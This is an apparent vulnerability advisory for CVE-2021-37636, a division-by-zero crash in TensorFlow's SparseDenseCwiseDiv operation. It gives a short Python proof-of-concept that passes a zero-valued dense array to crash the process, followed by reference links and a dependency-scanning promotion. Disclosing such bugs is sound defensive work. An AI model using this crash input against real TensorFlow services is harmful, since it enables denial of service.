CVE-2021-37636: Floating point exception in `SparseDenseCwiseDiv`
(updated )
The implementation of tf.raw_ops.SparseDenseCwiseDiv is vulnerable to a division by 0 error:
import tensorflow as tf
import numpy as np
tf.raw_ops.SparseDenseCwiseDiv(
sp_indices=np.array([[4]]),
sp_values=np.array([-400]),
sp_shape=np.array([647.]),
dense=np.array([0]))
References
- github.com/advisories/GHSA-hp4c-x6r7-6555
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-549.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-747.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-258.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/d9204be9f49520cdaaeb2541d1dc5187b23f31d9
- github.com/tensorflow/tensorflow/security/advisories/GHSA-hp4c-x6r7-6555
- nvd.nist.gov/vuln/detail/CVE-2021-37636
Detect and mitigate CVE-2021-37636 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →